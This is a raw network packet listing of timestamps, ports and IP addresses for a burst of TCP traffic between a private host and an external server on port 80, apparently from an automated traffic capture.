Oct 24, 2024 15:09:16.000303984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000308990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000319958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000346899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000428915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000444889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000456095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000468016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000473022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000479937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000487089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000489950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000498056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000510931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000519037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000520945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000531912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000543118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000550032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000556946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000565052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000576019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000587940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000592947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000602007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000612020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000621080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000622988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000636101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000642061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000644922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000657082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000658035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000668049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000689030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000714064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000730991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000742912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000754118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000765085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000773907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000775099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000787020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000796080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000803947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000807047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000818014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000825882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000829935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000840902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000840902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000853062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000864029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000873089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000875950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000885963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000897884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000902891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000910044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.000921011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000936031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.000961065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.001460075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.001502991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.001506090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.001513958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.001527071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.001547098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.001570940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.001600027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.001638889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.001782894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.001821041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.003896952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.003930092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.003942013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.003953934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.003962040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.003964901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.003972054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.003979921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.004017115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.004086971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.004100084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.004112005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.004128933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.004136086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.004147053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.004147053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.004158974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.004168987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.004174948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.004184961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.004189968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.004221916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113487005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113502026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113523960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113535881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113549948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113563061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113569021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113616943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113617897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113641024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113652945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113653898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113663912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113676071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113683939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113688946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113702059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113702059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113734007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113744974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113755941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113766909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113780975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113787889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113800049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113806963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113812923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113833904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113837004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113847017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113856077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113858938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113878965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113883018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113886118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113909006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113915920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113923073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113934994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113945007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113948107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113957882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.113971949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.113998890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114026070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114038944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114051104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114058018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114087105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114110947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114124060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114136934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114145041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114146948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114161015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114175081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114178896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114192963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114201069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114202976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114217997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114228010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114229918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114243031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114252090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114263058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114284992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114321947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114331961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114348888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114352942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114361048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114378929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114383936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114391088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114402056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114412069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114415884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114433050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114435911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114447117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114448071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114466906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114476919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114480972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114492893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114500999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114530087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114531040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114542007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114562988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114563942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114574909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114581108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114589930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114619017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114671946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114685059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114696980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114708900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114710093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114725113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114737034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114737034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114748955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114764929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114768982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114780903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114783049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114794970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.114803076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.114830971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115016937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115030050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115044117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115057945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115088940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115101099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115113974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115127087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115134954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115139008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115151882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115161896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115165949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115185976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115190983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115200996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115206957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115214109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115228891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115236998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115267038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115298986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115333080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115353107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115365028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115376949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115390062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115403891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115406990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115417004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115428925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115437984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115441084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115464926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115490913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115556955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115569115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115580082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115592003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115601063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115609884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115617990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115628958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115637064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115650892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115663052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115665913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115684032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115696907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115703106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115708113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115715027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115721941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115734100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115745068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115745068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115757942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115770102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115772009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115782976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115803003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115818024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115828037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115833998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115833998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115840912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115849972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115854025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115866899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115871906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115880013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115892887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115900040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115920067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115926027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115937948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115950108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115958929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115962982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115976095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115987062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.115987062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.115998983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116014957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116034031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116040945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116050959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116061926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116072893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116084099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116095066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116103888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116108894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116130114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116142988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116143942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116157055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116164923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116168976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116180897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116182089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116197109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116209984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116210938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116239071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116252899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116255999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116265059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116286993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116302013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116319895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116333008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116345882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116355896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116374969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116401911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116434097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116461039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116472960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116494894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116497993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116509914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116511106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116523981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.116529942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.116545916 CEST	49704	80	192.168.2.5	185.215.113.37
